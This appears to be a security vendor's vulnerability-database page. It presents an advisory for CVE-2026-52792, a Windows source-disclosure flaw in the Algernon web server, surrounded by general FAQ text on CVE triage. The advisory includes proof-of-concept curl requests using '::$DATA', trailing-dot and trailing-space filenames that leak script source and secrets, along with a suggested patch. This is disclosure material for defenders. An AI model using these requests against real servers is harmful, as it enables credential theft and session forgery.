How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

361,925

Total vulnerabilities in the database

CVE-2026-52792 — github.com/xyproto/algernon

Improper Handling of Windows ::DATA Alternate Data Stream

Summary

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

Algernon runs on a Windows host (NTFS filesystem).
The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
HTTP/HTTPS reachability to the server.

Details

// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // &quot;index.lua::$data&quot; -&gt; &quot;.lua::$data&quot;, not &quot;.lua&quot;  [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
    return
}
switch ext {
case &quot;.lua&quot;, &quot;.tl&quot;: // execute the script -- never reached for the equivalent forms
    // ... RunLua ...
default:
    // control reaches the raw-file branch below
}

// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves &quot;index.lua::$DATA&quot; to index.lua&#039;s data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

Build Algernon from source on a Windows host:
git clone https://github.com/xyproto/algernon cd algernon git checkout v1.17.8 go build -o algernon.exe .
Create a web root with a script that embeds secrets, exactly as a real handler would:
New-Item -ItemType Directory webroot | Out-Null Set-Content webroot\index.lua @' -- db = POSTGRES("postgres://app:S3cr3t@db/prod") SetCookieSecret("hardcoded-session-key") print("<h1>hello</h1>") '@
Serve the directory over plain HTTP with no auth backend (run in its own window):
.\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot

Exploit

Request the script normally. It executes, and the source is not disclosed:
curl.exe -s http://127.0.0.1:8088/index.lua
Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.
Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'
Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.
The trailing-dot and trailing-space forms leak the same source:
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.' curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'
Expected: identical raw-source response for both.

Impact

Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and SetCookieSecret(...) values.
Authentication: A disclosed SetCookieSecret value lets an unauthenticated attacker forge session cookies and log in as any user.

Suggestions to fix

> This has not been tested - it is illustrative only.

Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.

 func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
+	// Reject Windows filename-equivalent forms that alias a different file
+	// than filepath.Ext sees (e.g. &quot;x.lua::$DATA&quot;, &quot;x.lua.&quot;, &quot;x.lua &quot;).
+	if base := filepath.Base(filename); strings.ContainsRune(base, &#039;:&#039;) ||
+		strings.HasSuffix(base, &quot;.&quot;) || strings.HasSuffix(base, &quot; &quot;) {
+		http.NotFound(w, req)
+		return
+	}
 	if ac.quitAfterFirstRequest {
 		go ac.quitSoon(&quot;Quit after first request&quot;, defaultSoonDuration)
 	}

Published: Jul 2, 2026
Updated: Jul 3, 2026
CVE: CVE-2026-52792
GHSA: GHSA-mm6c-5j6x-hq8m
Severity: High
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-69

Affected Software
References

Software	From	Fixed in
github.com/xyproto/algernon	-	1.17.9

https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.